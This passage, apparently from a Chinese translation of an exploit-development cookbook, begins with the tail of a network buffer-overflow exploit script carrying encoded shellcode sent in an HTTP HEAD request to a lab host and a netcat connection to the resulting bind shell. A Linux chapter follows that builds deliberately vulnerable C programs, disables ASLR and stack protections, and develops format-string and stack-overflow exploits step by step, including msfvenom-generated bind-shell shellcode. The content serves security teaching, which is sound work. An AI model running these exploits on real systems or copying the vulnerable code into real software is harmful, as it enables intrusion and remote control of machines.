"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")
buff = "A"*478 + hunter + "A"*5 + "\x10\xb3\x54\x7e" +"\xEB\xC4"
shell = "b33fb33f" + shellcode
buffer = (
"HEAD /" + buff + " HTTP/1.1\r\n"
"Host: 192.168.1.37:8080\r\n"
"User-Agent: " + shell + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))
expl.send(buffer)
expl.close()
- 现在在调试器中重新启动应用程序并运行脚本进行利用。使用
nc
命令检查利用:
nc -nv 192.168.1.37 9988
第十四章:Linux 漏洞利用开发
在本章中,我们将介绍以下配方:
-
格式字符串利用
-
缓冲区溢出
介绍
在为 Linux 环境开发的应用程序中开发漏洞的利用可以使用 Python 工具。我们必须使用调试器,如pwndbg
来调试应用程序。然后,我们可以使用 Python 脚本来利用这些漏洞。在本章中,我们将介绍一些基本漏洞和开发利用脚本的方法。
格式字符串利用
格式字符串是一个包含文本和格式参数的 ASCIZ 字符串。格式字符串漏洞发生在应用程序将输入字符串的提交数据评估为命令时。借助这种方法,攻击者可以执行代码,读取堆栈,并可能导致分段错误。格式字符串漏洞存在于大多数printf
系列函数中,如printf
,sprintf
和fprintf
。这些是格式字符串漏洞中常用的参数:
-
"%x"
:它从堆栈中读取数据 -
"%s"
:它从进程内存中读取字符字符串 -
"%n"
:它将整数写入进程内存中的位置 -
"%p"
:它是指向 void 的指针的外部表示
准备就绪
我们需要一个 32 位 x86 Linux 真实或虚拟环境来创建有漏洞的应用程序,并了解其中涉及的基本概念。在 Linux 环境中有一些概念的基本了解也是先决条件。
确保在 Linux 环境中安装了pwndbg
调试器。要检查,请打开终端并输入gdb
:
>> gdb
如果安装了pwndbg
,这将打开pwndbg
控制台:
pwndbg>
您可以使用q
退出此控制台。我们还需要一个有漏洞的应用程序来进行工作。为了更好地理解,我们可以在 C 中创建一个简单的有漏洞的应用程序。
全局偏移表
程序在编译时使用全局偏移表。它有助于从外部库中获取使用的函数的位置。要查看这一点,我们必须依赖objdump
命令。objdump
命令是 Linux 环境中用于获取对象文件详细信息的命令。这在调试时非常有用。
生成 shell 代码
要生成用于注入的 shell 代码,我们必须使用 Metasploit shell 代码生成功能,因此请确保您的计算机上已安装 Metasploit。
如何做...
以下是在 Linux 环境中创建利用格式字符串的利用脚本的步骤:
-
首先,我们需要创建一个有漏洞的应用程序。因此,我们可以编写一个具有格式字符串漏洞的 C 文件。创建一个
fmt.c
文件并在编辑器中打开它。 -
添加以下代码并保存:
#include <stdio.h>
int main(int argc, char **argv){
char buf[1024];
strcpy(buf, argv[1]);
printf(buf);
printf("\n");
}
- 我们需要使用禁用格式安全性的编译此代码。为此,请运行以下命令:
gcc fmt.c -w -g -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o fmt
这将创建一个名为fmt
的可执行文件。我们可以将其用作我们的示例应用程序。
- 确保在测试机器上禁用地址空间布局随机化(ASLR):
sysctl -w kernel.randomize_va_space=0
- 现在我们可以运行应用程序进行测试:
./fmt TEST
这将打印传递给应用程序的参数
- 然后我们将使用格式字符串输入测试应用程序:
./fmt %x%x%x%x
./fmt %n%n%n%n
这里的第一个测试从堆栈打印一些十六进制值,但第二个将值写入堆栈值指向的内存位置,最终导致分段错误。因此,从测试结果来看,很明显我们可以从 RAM 中读取,也可以向 RAM 中写入。
- 现在我们可以更改输入并尝试控制参数:
./fmt AAAA.%x.%x.%x.%x
./fmt BBBB.%x.%x.%x.%x
我们传递的AAAA
和BBBB
字符以十六进制值的形式出现在堆栈的第四个参数上,AAAA
为41414141
,BBBB
为42424242
。从中可以清楚地看出,我们现在可以控制堆栈上的第四个参数。
- 由于我们计划控制代码执行,我们需要更改函数的地址。因此,让我们尝试找到一个 RAM 位置进行写入。为此,我们可以使用
pwndbg
查看汇编代码:
gdb ./fmt
disassemble main
这将打印出汇编代码。从中我们可以确定应用程序在59
上调用printf@plt
,在72
上调用putchar@plt
。因此,我们可以在59
处设置断点以进行调试:
- 如我们所知,全局偏移表保存库函数的当前地址。因此,我们可以使用
objdump
查看 GOT 中的条目:
objdump -R ./fmt
从中我们将得到动态重定位记录中putchar
的位置。在这里是08049748
,对您可能是不同的。因此,请确保相应地更新您的脚本。
- 现在我们可以尝试写入
putchar
PLT 入口。我们可以利用pwndbg
来做这个。在pwndbg
中打开应用程序:
gdb ./fmt
- 在
printf
之前和之后设置第一个断点:
pwndbg> break * main + 59
pwndbg> break * main + 64
- 然后使用我们的有效载荷运行应用程序,以写入我们从
objdump
中获得的putchar
的地址位置。在我的情况下是08049748
。我们必须将地址转换为小端格式,以便与英特尔架构一起使用:
pwndbg> run $'\x48\x97\x04\x08%x%x%x%n'
这将运行到我们的第一个断点,即printf
之前:
- 然后我们可以检查内存位置的当前值:
pwndbg> x/4x 0x08049748
- 然后输入
c
以前进到下一个断点。然后再次检查内存位置:
pwndbg> c
pwndbg> x/4x 0x08049748
从中我们知道该值更改为0x00000018
。当printf
执行时,格式字符串值%n
作为参数,它打印出一个等于到目前为止打印的字节数的 32 位长度值。在这里,程序到目前为止打印了 18 个字节。
-
现在我们可以编写我们的利用代码来制作有效载荷。为此,请创建一个
exploit.py
文件并在编辑器中打开它。 -
然后在其中添加以下代码:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
form = '%x%x%x%n%x%n%x%n%x%n'
print w1 + w2 + w3 + w4 + form
在这里,我们为我们的应用程序创建一个有效载荷。这将作为输入提交以写入内存位置。因此,生成 32 位字的最佳方法是执行四次写入,每次针对一个字节,并将它们组合起来。
- 确保利用代码具有执行权限:
chmod +x exploit.py
- 现在我们可以使用此有效载荷在调试器中运行应用程序。这正是我们之前做的事情:
gdb ./fmt
pwndbg> break * main + 59
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
- 检查内存位置:
pwndbg> x/4x 0x08049748
pwndbg> c
pwndbg> x/4x 0x08049748
然后该值更改为0x4c443c34
- 现在让我们尝试改变有效载荷中的一个字节。为此,将第三个格式字符串参数
%x
更改为%16x
。这将在前面添加 16 个零,并使其长度为 16 个字节:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
form = '%x%x%16x%n%x%n%x%n%x%n'
print w1 + w2 + w3 + w4 + form
- 然后以调试模式运行应用程序,并检查内存中的值:
gdb ./fmt
pwndbg> break * main + 59
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
pwndbg> c
pwndbg> x/4x 0x08049748
该值从其先前的值0x4c443c
更改为0x564e46
。因此,所有字节都增加了 16。现在它的长度为 16 个字节。
- 现在我们可以尝试将特定地址写入该地址位置。在这里,我们可以尝试写入
ddccbbaa
。为此,更新我们的exploit.py
如下:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
b1 = 0xaa
b2 = 0xbb
b3 = 0xcc
b4 = 0xdd
n1 = 256 + b1 - 0x2e
n2 = 256*2 + b2 - n1 - 0x2e
n3 = 256*3 + b3 - n1 - n2 - 0x2e
n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e
form = '%x%x%' + str(n1) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
print w1 + w2 + w3 + w4 + form
通过这样做,我们在每个%n
之前添加了足够的前导零,以匹配打印字符的总数,并匹配我们计划写入的期望值。此外,每次写入时字节的总数都会增加;我们必须为每个值添加 256,以使最后的字节干净。
- 现在使用我们精心制作的有效载荷执行应用程序,并检查内存位置:
gdb ./fmt
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
现在[email protected]
指针的值为0xddccbbaa
,这是我们计划写入其中的值。
- 现在我们可以创建一个模式并将其插入到利用中。这将有助于确定我们可以插入我们的 shell 代码的位置。因此,使用模式更新我们的利用。这将更新脚本如下:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
b1 = 0xaa
b2 = 0xbb
b3 = 0xcc
b4 = 0xdd
n1 = 256 + b1 - 0x2e
n2 = 256*2 + b2 - n1 - 0x2e
n3 = 256*3 + b3 - n1 - n2 - 0x2e
n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e
form = '%x%x%' + str(n1) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
nopsled = '\x90' * 100
pattern = '\xcc' * 250
print w1 + w2 + w3 + w4 + form + nopsled + pattern
- 现在使用有效载荷在调试器中运行应用程序,并检查 ESP 寄存器后的
200
个字节:
gdb ./fmt
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
pwndbg> x/200x $esp
现在我们可以在堆栈上看到 NOP 滑梯。我们可以选择 NOP 滑梯中间的地址来添加 shell 代码。在这里我们可以选择0xbffff110
。
- 现在我们必须用真实地址替换
0xddccbbaa
,这个地址是我们从 NOP sled 中选择的。为此,用正确的字节更新exploit.py
:
b1 = 0x10
b2 = 0xf1
b3 = 0xff
b4 = 0xbf
- 现在用调试器运行应用程序并检查内存位置:
gdb ./fmt
pwndbg> break * main + 64
pwndbg> run $(./exploit.py)
pwndbg> x/4x 0x08049748
现在我们可以用 Metasploit 生成一个 shell 代码:
msfvenom -p linux/x86/shell_bind_tcp PrependFork=true -f python
现在用 shell 代码更新利用代码:
#!/usr/bin/python
w1 = '\x48\x97\x04\x08JUNK'
w2 = '\x49\x97\x04\x08JUNK'
w3 = '\x4a\x97\x04\x08JUNK'
w4 = '\x4b\x97\x04\x08JUNK'
b1 = 0x10
b2 = 0xf1
b3 = 0xff
b4 = 0xbf
n1 = 256 + b1 - 0x2e
n2 = 256*2 + b2 - n1 - 0x2e
n3 = 256*3 + b3 - n1 - n2 - 0x2e
n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2e
form = '%x%x%' + str(n1) + 'x%n%' + str(n2)
form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n'
nopsled = '\x90' * 95
buf = ""
buf += "\xbd\x55\xe7\x12\xd0\xd9\xc2\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x18\x31\x6e\x13\x03\x6e\x13\x83\xee\xa9\x05"
buf += "\xe7\xba\x53\x92\xc5\xbb\xd6\xe2\xa2\xbd\xe9\x22\xfa"
buf += "\xc3\xc4\x23\xca\x18\x21\xc0\x7e\xdc\x9e\x6d\x83\x6b"
buf += "\xc1\xc2\xe5\xa6\x81\x78\xb4\x6a\xe9\x7c\x48\x9a\xb5"
buf += "\xea\x58\xcd\x15\x62\xb9\x87\xf3\x2c\xf7\xd8\x72\x8d"
buf += "\x03\x6a\x80\xbe\x6a\x41\x08\xfd\xc2\x3f\xc5\x82\xb0"
buf += "\x99\xbf\xbd\xee\xd4\xbf\x8b\x77\x1f\xd7\x24\xa7\xac"
buf += "\x4f\x53\x98\x30\xe6\xcd\x6f\x57\xa8\x42\xf9\x79\xf8"
buf += "\x6e\x34\xf9"
postfix = 'X' *(250 - len(buf))
print (w1 + w2 + w3 + w4 + form + nopsled + buf + postfix)
我们添加了一个后缀,使注入字符的总数保持恒定。
- 现在用有效载荷运行应用程序:
pwndbg> run $(./exp2.py)
- 现在尝试使用
nc
连接作为 shell 代码并打开端口4444
,然后尝试运行以下命令:
我们可以在调试器中看到这些细节:
缓冲区溢出
缓冲区溢出可能导致程序崩溃或泄露私人信息。在运行程序的情况下,缓冲区可以被视为计算机主内存中具有特定边界的部分,因此基本上访问分配的内存空间之外的任何缓冲区。
由于变量存储在堆栈/堆中,访问这个边界之外的任何内容可能导致读/写其他变量的一些字节。但是通过更好的理解,我们可以执行一些攻击。
如何做...
按照以下步骤在 Linux 环境中生成缓冲区溢出攻击的利用代码:
- 我们必须为测试创建一个有漏洞的应用程序。创建一个
bof.c
文件并添加以下代码:
#include <stdio.h>
void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
- 按照以下方式编译它:
gcc bof.c -w -g -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o bof
- 我们可以运行以下应用程序测试:
./bof
- 我们可以运行
objdumb
:
objdump -d bof
从中我们可以得到 secret function 的内存位置:
这就是它,0804848b
。并且 28 个字节被保留用于echo
函数的本地变量:
现在我们可以设计有效载荷--我们知道,28 个字节被保留用于缓冲区,紧挨着 EBP 指针。所以,接下来的四个字节将存储 EIP。现在我们可以用任意随机字符设置前 28+4=32 个字节,然后接下来的四个字节将是secretfunction()
的地址。
- 现在有效载荷将如下:
print ("a"*32 + "\x8b\x84\x04\x08")
将其保存到一个exploit_bof.py
文件中,并将其加载为应用程序的有效载荷
- 这将使应用程序崩溃并提供对
secretfunction()
的访问。